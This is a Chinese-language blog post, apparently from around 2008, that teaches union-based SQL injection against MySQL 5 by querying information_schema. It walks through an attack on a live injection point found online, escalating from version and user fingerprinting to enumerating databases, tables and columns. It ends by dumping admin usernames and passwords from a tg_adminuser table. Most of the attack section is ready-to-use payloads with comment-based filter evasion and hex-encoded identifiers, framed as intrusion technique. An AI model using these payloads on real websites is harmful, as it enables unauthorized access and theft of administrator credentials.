<< ms08-25-exploit 四川灾区图集:是什么让我们热泪盈眶 >>

Mysql5注射技巧总结

by:Flyh4t

Mysql5和之前的版本有很多不同的地方,灵活的运用其特性可以在入侵的时候省掉很多麻烦。我试图在本文把在《渗透周杰伦官方网站》中没有写清楚的部分表达出来,你看明白这个文章后也许你会发现,原来mysql5也可以像mssql一样注射。


一、原理分析

我们先看看mysql5比之前增加的系统数据库information_schema的结构,它是用来存储数据库系统信息的
如果读者有兴趣可以自己装一个mysql5研究一下这几个表存储的信息,我这里只挑注射中可以用到的几个表。 
可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。


二、实战测试

到网上找到一个注射点,首先还是像以往一样猜字段、版本和数据库用户,如图1
程序代码 程序代码
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,user(),3,4,version(),6,7,8,9,10,11,12,13,14,15/*




图一

下面猜数据库,可以通过不断递增limit的第一个参数查询到所有的数据库名,如图2





遍里webbase里面的表名,找到敏感的表,如图三(0x77656262617365是webbase的十六进制编码)

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/
**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x77656262617365/**/limit/**/11,1




tg_adminuser十六进制编码为0x74675F61646D696E75736572,依次查找该表里面的字段名,如图4,图5

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/
**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/1,1




xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/
**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/2,1


图五


数据库,表名,字段我们都知道了,查出密码就很简单了,如图六

xx.com/news_info.php?wid=-1/**/union/**/select/**/1,username,3,4,password,6,7,8,9,10,11,12,13,14,15/**/from/
**/webbase.tg_adminuse


图6

文章就到这里结束了,懂点sql语法的朋友应该看的比较明白了:)



添加书签: [QQ书签] [百度搜藏] [新浪ViVi] [365Key网摘] [天极网摘] [我摘] [POCO网摘] [和讯网摘]

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

Search

最近发表

Copyright 2006-2008 www.edge365.com Some Rights Reserved.